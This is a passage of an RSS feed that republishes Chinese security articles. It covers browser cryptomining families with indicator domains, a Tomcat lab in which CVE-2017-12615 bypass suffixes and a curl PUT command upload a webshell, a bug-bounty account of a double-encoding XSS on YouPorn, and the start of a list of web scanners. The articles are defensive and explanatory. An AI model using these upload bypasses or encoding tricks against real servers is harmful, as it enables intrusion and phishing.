 &lt;p&gt;BrowserMine是一个与DeepMiner类似的JS挖矿引擎，也是在有访问量的网站中嵌入一段网页挖矿代码，利用访客的计算机CPU资源来挖掘数字货币进行牟利。&lt;/p&gt;
 &lt;p&gt;7.1、BrowserMine网页挖矿脚本代码，如下所示：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="&amp;#22270;&amp;#29255;.png" height="41" src="http://image.3001.net/images/20180522/15269715383533.png!small" width="554"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;7.2、 执行JS挖矿代码前后的效果，如下图所示：&lt;/p&gt;
 &lt;p&gt;   &lt;img alt="&amp;#22270;&amp;#29255;.png" height="311" src="http://image.3001.net/images/20180522/15269715422525.png!small" width="553"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;8&lt;/strong&gt;  &lt;strong&gt;、&lt;/strong&gt;  &lt;strong&gt;Coinimp&lt;/strong&gt;  &lt;strong&gt;家族网页挖矿木马介绍：&lt;/strong&gt;  &lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;Coinimp是与Coinhive类似的JS挖矿引擎，也是在有访问量的网站中嵌入一段网页挖矿代码，利用访客的计算机CPU资源来挖掘数字货币进行牟利。稍有不同的是Coinimp的平台费用基本免费，而且JS挖矿脚本可以重置为任意名字存放在本地，伪装性更高。&lt;/p&gt;
 &lt;p&gt;8.1、Coinimp网页挖矿脚本代码，如下所示：&lt;/p&gt;
 &lt;p&gt;   &lt;img alt="&amp;#22270;&amp;#29255;.png" height="93" src="http://image.3001.net/images/20180522/15269715473274.png!small" width="554"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;8.2、Coinimp网页挖矿脚本代码与之前的几个有一个明显的区别就是SiteKey值变成了64位，同时，JS挖矿代码可以保存到本地存储了，访问参数与JS脚本名称可以自行定义。&lt;/p&gt;
 &lt;h3&gt;9、CryptoWebMiner家族网页挖矿木马介绍：&lt;/h3&gt;
 &lt;p&gt;CryptoWebMiner是与Coinhive类似的JS挖矿引擎，也是在有访问量的网站中嵌入一段网页挖矿代码，利用访客的计算机CPU资源来挖掘数字货币进行牟利。不过CryptoWebMiner平台的佣金比Coinhive平台的佣金低很多，这可以大大降低以挖矿为盈利目标的黑色产业链成本。&lt;/p&gt;
 &lt;p&gt;9.1、CryptoWebMiner网页挖矿脚本代码，如下所示：&lt;/p&gt;
 &lt;p&gt;   &lt;img alt="&amp;#22270;&amp;#29255;.png" height="171" src="http://image.3001.net/images/20180522/15269715578774.png!small" width="556"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;9.2、CryptoWebMiner网页挖矿脚本代码结构与Coinhive很类似，但支持的币种比较多，主要有BTC、ETH、ZEC、ETN、XMR。另外，它支持的平台也很多，分别为手机端挖矿、PC端挖矿、WEB端挖矿，可见传播面很广。&lt;/p&gt;
 &lt;h3&gt;10、PPoi家族网页挖矿木马介绍：&lt;/h3&gt;
 &lt;p&gt;PPoi是与Coinhive类似的JS挖矿引擎，也是在有访问量的网站中嵌入一段网页挖矿代码，利用访客的计算机CPU资源来挖掘数字货币进行牟利。&lt;/p&gt;
 &lt;p&gt;10.1、PPoi网页挖矿脚本代码，如下所示：&lt;/p&gt;
 &lt;p&gt;   &lt;img alt="&amp;#22270;&amp;#29255;.png" height="118" src="http://image.3001.net/images/20180522/15269715618504.png!small" width="556"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;10.2、通过访问PPoi平台官方地址，发现已经被Google GSB加入黑名单了。如下所示：&lt;/p&gt;
 &lt;p&gt;   &lt;img alt="&amp;#22270;&amp;#29255;.png" height="334" src="http://image.3001.net/images/20180522/1526971567538.png!small" width="553"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;0×4 趋势分析与统计&lt;/h2&gt;
 &lt;p&gt;1、我们通过对分析过的网页挖矿木马代码特征，使用FOFA对全球所有在线Web应用系统进行统计，发现有60742892个Web应用被恶意挂载了网页挖矿木马。如下为全球TOP10地域的网页挖矿木马感染量和分布情况。详情如下所示：&lt;/p&gt;
 &lt;p&gt;   &lt;img alt="&amp;#22270;&amp;#29255;.png" height="269" src="http://image.3001.net/images/20180522/15269715726076.png!small" width="554"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;统计数据来自于FOFA平台&lt;/p&gt;
 &lt;p&gt;2、进一步通过这些网页挖矿木马的代码特征来对中国境内所有在线Web应用系统进行分析和统计，发现有4557546个Web应用被恶意挂载了网页挖矿木马。如下为中国境内TOP N地域的网页挖矿木马感染量和分布情况。详情如下所示：&lt;/p&gt;
 &lt;p&gt;   &lt;img alt="&amp;#22270;&amp;#29255;.png" height="264" src="http://image.3001.net/images/20180522/15269715774980.png!small" width="554"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;统计数据来自于FOFA平台   &lt;br /&gt;&lt;/p&gt;
 &lt;h2&gt;0×5 安全建议&lt;/h2&gt;
 &lt;p&gt;ü 定期对服务器中的数据做备份，看到类似以上10种形态的可疑脚本代码，需提高警惕(这很可能意味着我们的站点和服务被入侵了    )，找专业的安全人员来做分析和处理。&lt;/p&gt;
 &lt;p&gt;ü 如在服务器中发现存在可疑的后门或恶意代码，需做全局的排查和清理，然后再做安全加固工作。&lt;/p&gt;
 &lt;p&gt;ü 定期主动对服务器及服务器中的应用进行安全评估，及时发现潜在的风险，并及时处置和修复。&lt;/p&gt;
 &lt;h2&gt;0×6 IOCs&lt;/h2&gt;
 &lt;p&gt;  &lt;strong&gt;C&lt;/strong&gt;  &lt;strong&gt;2&lt;/strong&gt;  &lt;strong&gt;：&lt;/strong&gt;  &lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;a href="https://coinhive.com"&gt;https://coinhive.com&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;a href="https://coin-hive.com"&gt;https://coin-hive.com&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;a href="https://webmine.cz"&gt;https://webmine.cz&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;a href="https://webmine.pro"&gt;https://webmine.pro&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;a href="https://munero.me"&gt;https://munero.me&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;a href="https://load.jsecoin.com"&gt;https://load.jsecoin.com&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;a href="https://browsermine.com"&gt;https://browsermine.com&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;a href="https://authedmine.com"&gt;https://authedmine.com&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;a href="https://crypto-loot.com"&gt;https://crypto-loot.com&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;a href="https://cryptaloot.pro"&gt;https://cryptaloot.pro&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;a href="https://ppoi.org"&gt;https://ppoi.org&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;U&lt;/strong&gt;  &lt;strong&gt;RL&lt;/strong&gt;  &lt;strong&gt;：&lt;/strong&gt;  &lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;a href="https://coinhive.com/lib/coinhive.min.js"&gt;https://coinhive.com/lib/coinhive.min.js&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;a href="https://coin-hive.com/lib/coinhive.min.js"&gt;https://coin-hive.com/lib/coinhive.min.js&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;a href="https://crypto-loot.com/lib/miner.min.js"&gt;https://crypto-loot.com/lib/miner.min.js&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;a href="https://cryptaloot.pro/lib/miner.min.js"&gt;https://cryptaloot.pro/lib/miner.min.js&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;a href="https://authedmine.com/lib/authedmine.min.js"&gt;https://authedmine.com/lib/authedmine.min.js&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;a href="https://ppoi.org/lib/projectpoi.min.js"&gt;https://ppoi.org/lib/projectpoi.min.js&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;*本文作者：千里目安全实验室，转载请注明来自 FreeBuf.COM&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>WEB安全 挖矿</category>
      <guid isPermaLink="true">https://itindex.net/detail/58423-%E9%BB%91%E5%AE%A2-%E5%88%A9%E7%94%A8-%E6%B5%8F%E8%A7%88%E5%99%A8</guid>
      <pubDate>Wed, 30 May 2018 09:00:31 CST</pubDate>
    </item>
    <item>
      <title>为什么要禁止除GET和POST之外的HTTP方法？</title>
      <link>https://itindex.net/detail/58414-get-post-http</link>
      <description>&lt;blockquote&gt;  &lt;p&gt;最近老是听朋友说，被上级单位通报HTTP不安全方法漏洞，本来是低危漏洞，也没怎么注意它，最近升为中危漏洞，每天催着去整改，闹得人心惶惶，甚至经常被维护人员吐槽，做的是得不偿失的事情。&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;因此，有必要说明一下，为什么要禁止除GET和POST之外的HTTP方法。&lt;/p&gt;
 &lt;p&gt;换句话说，对于  &lt;strong&gt;这些HTTP不安全方法，到底有多不安全呢？&lt;/strong&gt;&lt;/p&gt;
 &lt;h2&gt;一、HTTP请求方法有哪些&lt;/h2&gt;
 &lt;p&gt;根据HTTP标准，HTTP请求可以使用多种方法，其功能描述如下所示。&lt;/p&gt;
 &lt;p&gt;HTTP1.0定义了三种请求方法： GET、POST、HEAD&lt;/p&gt;
 &lt;p&gt;HTTP1.1新增了五种请求方法：OPTIONS、PUT、DELETE、TRACE 、CONNECT&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="1.png" height="366" src="http://image.3001.net/images/20180523/15270804761442.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;                                                                                图片来源于网络&lt;/p&gt;
 &lt;h2&gt;二、举例说明不安全的HTTP方法&lt;/h2&gt;
 &lt;p&gt;众所周知，GET、POST是最为常见方法，而且大部分主流网站只支持这两种方法，因为它们已能满足功能需求。其中，GET方法主要用来获取服务器上的资源，而POST方法是用来向服务器特定URL的资源提交数据。而其它方法出于安全考虑被禁用，所以在实际应用中，九成以上的服务器都不会响应其它方法，并抛出404或405错误提示。以下列举几个HTTP方法的不安全性：&lt;/p&gt;
 &lt;p&gt;1、OPTIONS方法，将会造成服务器信息暴露，如中间件版本、支持的HTTP方法等。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="2.png" height="121" src="http://image.3001.net/images/20180523/15270805082176.png!small" width="632"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;2、PUT方法，由于PUT方法自身不带验证机制，利用PUT方法即可快捷简单地入侵服务器，上传Webshell或其他恶意文件，从而获取敏感数据或服务器权限。&lt;/p&gt;
 &lt;p&gt;3、DELETE方法，利用DELETE方法可以删除服务器上特定的资源文件，造成恶意攻击。&lt;/p&gt;
 &lt;h2&gt;三、漏洞验证&lt;/h2&gt;
 &lt;h3&gt;（一）环境搭建&lt;/h3&gt;
 &lt;p&gt;1、测试环境为：WIN10 64位、Tomcat 7.0.72、curl 7.49&lt;/p&gt;
 &lt;p&gt;2、在Tomcat 7默认配置中，web.xml文件的org.apache.catalina.servlets.DefaultServlet的&lt;/p&gt;
 &lt;p&gt;readonly参数默认是true，即不允许DELETE和PUT操作，所以通过PUT或DELETE方法访问，就会报403错误。为配合测试，把readonly参数设为false。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="3.png" height="266" src="http://image.3001.net/images/20180523/15270805322056.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;（二）漏洞利用&lt;/h3&gt;
 &lt;p&gt;  &lt;strong&gt;1、PUT上传和DELETE删除文件成功&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;在DefaultServlet的readonly参数为falsed的情况下，使用Curl进行测试，发现已能通过PUT上传和DELETE删除文件。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="4.png" height="100" src="http://image.3001.net/images/20180523/15270805506115.png!small" width="615"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;2、直接PUT上传.jsp失败&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;此时想直接上传webshell.jsp，但发现上传失败。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="5.png" height="222" src="http://image.3001.net/images/20180523/1527080566214.png!small" width="615"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;研究发现，原因是**在默认配置下，涉及jsp、jspx后缀名的请求由org.apache.jasper.servlet.JspServlet处理**，除此之外的请求才由org.apache.catalina.servlets.DefaultServlet处理。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="6.png" height="167" src="http://image.3001.net/images/20180523/15270805835297.png!small" width="360"&gt;&lt;/img&gt;  &lt;img alt="7.png" height="198" src="http://image.3001.net/images/20180523/15270805839131.png!small" width="554"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;刚才将DefaultServlet的readonly设置为false，并不能对jsp和jspx生效。因此，当PUT上传jsp和jspx文件时，Tomcat用JspServlet来处理请求，而JspServlet中没有PUT上传的逻辑，所以会403报错。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;3、利用漏洞成功上传WebShell&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;对于不能直接上传WebShell的问题，一般的思路是通过解析漏洞来解决，而不少中间件版本如IIS 6、TOMCAT 7等都出现过相关的漏洞。&lt;/p&gt;
 &lt;p&gt;在此测试环境中，利用Tomcat 7的任意文件上传漏洞（CVE-2017-12615）来实现目的，该漏洞**通过构造特殊后缀名，绕过tomcat检测，让它用DefaultServlet的逻辑处理请求，从而上传jsp文件**。具体来说，主要有三种方法，比如shell.jsp%20 、shell.jsp::$DATA 、shell.jsp/&lt;/p&gt;
 &lt;p&gt;本次测试，使用第一种方法，在1.jsp后面加上%20，如此即可成功实现上传，并取得WebShell。&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;&amp;gt;curl -X PUT    &lt;a href="http://127.0.0.1:8080/examples/1.jsp%252"&gt;http://127.0.0.1:8080/examples/1.jsp%2&lt;/a&gt;0 -d “HelloJSP”&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;然后就直接挂马了，从下图可以看到成功上传webshell.jsp，并成功实现对服务器的控制。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="8.png" height="99" src="http://image.3001.net/images/20180523/15270806339444.png!small" width="644"&gt;&lt;/img&gt;  &lt;img alt="9.png" height="253" src="http://image.3001.net/images/20180523/15270806334995.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;四、如何自纠自查&lt;/h2&gt;
 &lt;p&gt;从上面的Tomcat测试可以发现，虽然需在DefaultServlet的readonly参数为false前提下，才能实现渗透，但还是建议把除了GET、POST的HTTP方法禁止，有两方面原因：&lt;/p&gt;
 &lt;p&gt;1、除GET、POST之外的其它HTTP方法，其刚性应用场景较少，且禁止它们的方法简单，即实施成本低；&lt;/p&gt;
 &lt;p&gt;2、一旦让低权限用户可以访问这些方法，他们就能够以此向服务器实施有效攻击，即威胁影响大。&lt;/p&gt;
 &lt;p&gt;写到这里，也许大家都明白了，为什么要禁止除GET和POST外的HTTP方法，一是因为GET、POST已能满足功能需求，二是因为不禁止的话威胁影响大。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;自纠自查方面&lt;/strong&gt;，可以使用OPTIONS方法遍历服务器使用的HTTP方法。但要注意的是，不同目录中激活的方法可能各不相同。而且许多时候，虽然反馈某些方法有效，但实际上它们并不能使用。许多时候，即使OPTIONS请求返回的响应中没有列出某个方法，但该方法仍然可用。总的来说，建议手动测试每一个方法，确认其是否可用。&lt;/p&gt;
 &lt;p&gt;具体方法，举例说明，使用curl测试：&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;1、测试OPTIONS是否响应&lt;/strong&gt;，并是否有 Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;curl -v -X OPTIONS    &lt;a href="http://www.test.com/test/"&gt;http://www.test.com/test/&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;  &lt;strong&gt;2、测试是否能通过PUT上传文件&lt;/strong&gt;&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;curl -X PUT    &lt;a href="http://www.test.com/test/test.html"&gt;http://www.test.com/test/test.html&lt;/a&gt; -d “test”&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;  &lt;strong&gt;3、找一个存在的文件，如test.txt，测试是否能删除&lt;/strong&gt;&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;curl -X DELETE    &lt;a href="http://www.example.com/test/test.text"&gt;http://www.example.com/test/test.text&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;  &lt;strong&gt;* 本文作者：进击的大熊2018，转载请注明来自FreeBuf.COM&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>WEB安全 GET HTTP POST</category>
      <guid isPermaLink="true">https://itindex.net/detail/58414-get-post-http</guid>
      <pubDate>Mon, 28 May 2018 13:00:37 CST</pubDate>
    </item>
    <item>
      <title>挖洞经验 | 看我如何挖掘成人网站YouPorn的XSS并成功利用</title>
      <link>https://itindex.net/detail/58320-%E7%BB%8F%E9%AA%8C-%E6%88%90%E4%BA%BA%E7%BD%91%E7%AB%99-youporn</link>
      <description>&lt;p&gt;  &lt;strong&gt;   &lt;img alt="youporn_logo.png" height="132" src="http://image.3001.net/images/20180426/1524703872768.png!small" width="690"&gt;&lt;/img&gt;   &lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;由于我个人时间的限制，因此我很少或者说是几乎不参加赏金计划任务。虽然我早早的就注册了HackerOne，但你们可以到   &lt;a href="https://hackerone.com/the-useless-one" rel="nofollow"&gt;我的主页&lt;/a&gt;并没有任何的记录。在这里我不得不提及我的   &lt;a href="https://hackerone.com/myst404" rel="nofollow"&gt;同事&lt;/a&gt;，他与我截然相反，可以说他把大部分时间都花在了研究赏金计划上。就在上个月的一个傍晚，当我们连接到我们的工作Jabber server时，他告诉我成人网站   &lt;a href="https://hackerone.com/youporn" rel="nofollow"&gt;YouPorn也已在HackerOne上，启动了他们的bug奖励计划&lt;/a&gt;：&lt;/strong&gt;&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;他：今天youporn加入了bug赏金计划&lt;/p&gt;
  &lt;p&gt;我：在hacker one？&lt;/p&gt;
  &lt;p&gt;他：是的&lt;/p&gt;
  &lt;p&gt;我：没时间，我正在迁移我的DNS服务器&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;当我正在阅读关于绑定的文档时，他回复了我：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;他： oh shit，不敢相信，搜索栏中存在可利用的XSS&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;事情开始变得有趣起来，使我不得不停下手中的工作。我很惊讶，这个问题之前竟然没有人能发现它。搜做表单中的XSS是最基本的情况之一，我和我的朋友都经常逛YouPorn，但从来没有发现过这个问题。&lt;/p&gt;
 &lt;p&gt;时间对我们来说是非常宝贵的，我们必须要在其他人之前利用并报告该漏洞。&lt;/p&gt;
 &lt;h2&gt;  &lt;strong&gt;从缺少过滤到开放重定向&lt;/strong&gt;&lt;/h2&gt;
 &lt;p&gt;我启动了浏览器和Burp，并在搜索表单上发送了一个请求。我搜索了foobar”。正如你在下面的截图中看到的那样，搜索词是在  &lt;a href="https://www.w3schools.com/tags/tag_meta.asp" rel="nofollow"&gt;meta标签&lt;/a&gt;中，以没有任何过滤（大写字母除外）的形式输出的：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="first_payload.png" height="494" src="http://image.3001.net/images/20180426/15247039185866.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;但当我们尝试写入关闭标签，并添加了Javascript payload，我们发现我们的payload并未被执行：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="first_fail.png" height="488" src="http://image.3001.net/images/20180426/15247039503915.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;虽然如此，但我们仍然决定利用meta HTML标签。这是一个非常强大的标签，因为它包含有http-equiv指令。该  &lt;a href="https://www.w3schools.com/tags/att_meta_http_equiv.asp" rel="nofollow"&gt;指令&lt;/a&gt;相当于http的文件头作用。&lt;/p&gt;
 &lt;p&gt;http-equiv指令将值设为refresh，可用于将用户重定向到其他页面。如果发生网络钓鱼攻击，这种  &lt;a href="https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet" rel="nofollow"&gt;开放重定向&lt;/a&gt;漏洞是非常有用的：&lt;/p&gt;
 &lt;p&gt;您向有人发送链接到  &lt;a href="http://youporn.com" rel="nofollow"&gt;http://youporn.com&lt;/a&gt;的链接，      &lt;br /&gt;您的有效载荷将它们重定向到您控制的网站，模仿YouPorn的CSS;      &lt;br /&gt;你问他们的凭据，他们的信用卡号码等。&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;向目标发送带有你的有效载荷的   &lt;a href="http://youporn.com" rel="nofollow"&gt;http://youporn.com&lt;/a&gt;链接；&lt;/li&gt;
  &lt;li&gt;有效载荷将目标用户重定向到你控制的高仿YouPorn钓鱼网站；&lt;/li&gt;
  &lt;li&gt;向目标用户询问凭据，信用卡号等请求。&lt;/li&gt;
&lt;/ol&gt;
 &lt;p&gt;我们输入了以下payload来进行漏洞测试：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="second_fail.png" height="491" src="http://image.3001.net/images/20180426/15247040189123.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;正如你所看到的，这里有一个小问题：http-equiv中的破折号，并未被插入到源代码中。我决定使用双重编码尝试绕过。首先我对破折号做了HTML编码，然后又对其进行了URL编码。&lt;/p&gt;
 &lt;p&gt;破折号， – ，HTML编码后为&amp;amp;#45 ，URL编码后为％26％2345％3b：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="first_success.png" height="497" src="http://image.3001.net/images/20180426/15247040399867.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;bingo！现在我们已经成功获取到了一个可以重定向用户URL的有效载荷。&lt;/p&gt;
 &lt;h2&gt;  &lt;strong&gt;标记为重复&lt;/strong&gt;&lt;/h2&gt;
 &lt;p&gt;与此同时，我那发现并第一时间通知YouPorn的同时，收到了来自YouPorn的以下答复：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;实际上你报告的这个漏洞，在你之前已被人提交过。但那位提交者并未能提供有效的利用证明，因此我当前只能将其标记为重复。但机会的大门会向你们敞开，如果你们能提供有效载荷，我们将很乐意接收并为你们提供相应的奖励！&lt;/p&gt;
  &lt;p&gt;感谢你们！&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;h2&gt;  &lt;strong&gt;从开放重定向到反射型XSS&lt;/strong&gt;&lt;/h2&gt;
 &lt;p&gt;现在我们手中已经有了一个，可以重定向用户URL的有效载荷。&lt;/p&gt;
 &lt;p&gt;我的脑海中突然灵光一现，那么我们是否可以使用相同的技巧将破折号替换为&amp;gt;和&amp;lt;呢？&lt;/p&gt;
 &lt;p&gt;事实上这是可行的，使用“HTML-encode-then-URL-encode”技巧，我们可以插入任意的Javascript：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="second_success.png" height="492" src="http://image.3001.net/images/20180426/15247040857052.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;成功弹框：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="w00t.png" height="319" src="http://image.3001.net/images/20180426/15247041194342.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;之后我们继续做了一些测试，我们发现了YouPorn HTML渲染的一些奇怪的地方：无论我们在有效载荷上做了多少次HTML编码递归，服务器端仍然会完全的解码。这意味着：&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;&amp;amp;lt; 会被解码为 &amp;lt;&lt;/li&gt;
  &lt;li&gt;&amp;amp;amp;lt; 也会被解码为 &amp;lt;&lt;/li&gt;
  &lt;li&gt;&amp;amp;amp;amp;lt; 还是会被解码为 &amp;lt;&lt;/li&gt;
  &lt;li&gt;等。&lt;/li&gt;
&lt;/ul&gt;
 &lt;h2&gt;结语&lt;/h2&gt;
 &lt;p&gt;最后，我们将有效载荷发送给了YouPorn，并最终获取到了YouPorn发放的250美金的奖励！&lt;/p&gt;
 &lt;p&gt;总之这个过程非常的有趣，哦！我突然想起来我手头的工作，好了回归原点继续迁移我的DNS服务器！&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;*参考来源：   &lt;a href="https://allyourbase.utouch.fr/posts/2017/03/28/meet-beautiful-xss-in-your-area-a-youporn-bug-bounty-sfw/#meet-beautiful-xss-in-your-area-a-youporn-bug-bounty-sfw" rel="nofollow"&gt;allyourbase&lt;/a&gt;，FB小编 secist 编译，转载请注明来自FreeBuf.COM&lt;/strong&gt;    &lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>WEB安全 xss YouPorn</category>
      <guid isPermaLink="true">https://itindex.net/detail/58320-%E7%BB%8F%E9%AA%8C-%E6%88%90%E4%BA%BA%E7%BD%91%E7%AB%99-youporn</guid>
      <pubDate>Thu, 03 May 2018 13:00:53 CST</pubDate>
    </item>
    <item>
      <title>最好用的开源Web漏扫工具梳理</title>
      <link>https://itindex.net/detail/57742-%E6%9C%80%E5%A5%BD-%E5%BC%80%E6%BA%90-web</link>
      <description>&lt;p&gt;  &lt;strong&gt;赛门铁克2017年互联网安全威胁报告中提出在他们今年扫描的网站中，有76%都含有恶意软件。如果你在用WordPress，SUCURI的另一份报告也显示，超过70％的被扫描网站也都存在一个或多个漏洞。&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="1.png" height="417" src="http://image.3001.net/images/20171127/15117492138607.png!small" width="500"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;如果你刚好是某个网络应用程序的所有者，怎样才能保证你的网站是安全的、不会泄露敏感信息？&lt;/p&gt;
 &lt;p&gt;如果是基于云的安全解决方案，那么可能只需要进行常规漏扫。但如果不是，我们就必须执行例行扫描，采取必要的行动降低安全风险。&lt;/p&gt;
 &lt;p&gt;当然很多付费扫描器功能会更加全面、严谨，包含报表输出、警报、详细的应急指南等等附加功能。&lt;/p&gt;
 &lt;p&gt;开源工具最大的缺点是漏洞库可能没有付费软件那么全面。&lt;/p&gt;
 &lt;h2&gt;1. Arachni&lt;/h2&gt;
 &lt;p&gt;Arachni是一款基于Ruby框架搭建的高性能安全扫描程序，适用于现代Web应用程序。可用于Mac、Windows及Linux系统的可移植二进制文件。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="2.png" height="303" src="http://image.3001.net/images/20171127/15117492585019.png!small" width="500"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;Arachni不仅能对基本的静态或CMS网站进行扫描，还能够做到对以下平台指纹信息（(硬盘序列号和网卡物理地址)）的识别。且同时支持主动检查和被动检查。&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;Windows、Solaris、Linux、BSD、Unix&lt;/p&gt;
  &lt;p&gt;Nginx、Apache、Tomcat、IIS、Jetty&lt;/p&gt;
  &lt;p&gt;Java、Ruby、Python、ASP、PHP&lt;/p&gt;
  &lt;p&gt;Django、Rails、CherryPy、CakePHP、ASP.NET MVC、Symfony&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;一般检测的漏洞类型包括：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;NoSQL/Blind/SQL/Code/LDAP/Command/XPath注入&lt;/p&gt;
  &lt;p&gt;跨站请求伪造&lt;/p&gt;
  &lt;p&gt;路径遍历&lt;/p&gt;
  &lt;p&gt;本地/远程文件包含&lt;/p&gt;
  &lt;p&gt;Response splitting&lt;/p&gt;
  &lt;p&gt;跨站脚本&lt;/p&gt;
  &lt;p&gt;未验证的DOM重定向&lt;/p&gt;
  &lt;p&gt;源代码披露&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;另外，你可以选择输出HTML、XML、Text、JSON、YAML等格式的审计报告。&lt;/p&gt;
 &lt;p&gt;Arachni帮助我们以插件的形式将扫描范围扩展到更深层的级别。Arachni的详细介绍与下载地址：click   &lt;a href="http://www.arachni-scanner.com/features/framework/"&gt;here&lt;/a&gt;。&lt;/p&gt;
 &lt;h2&gt;2. XssPy&lt;/h2&gt;
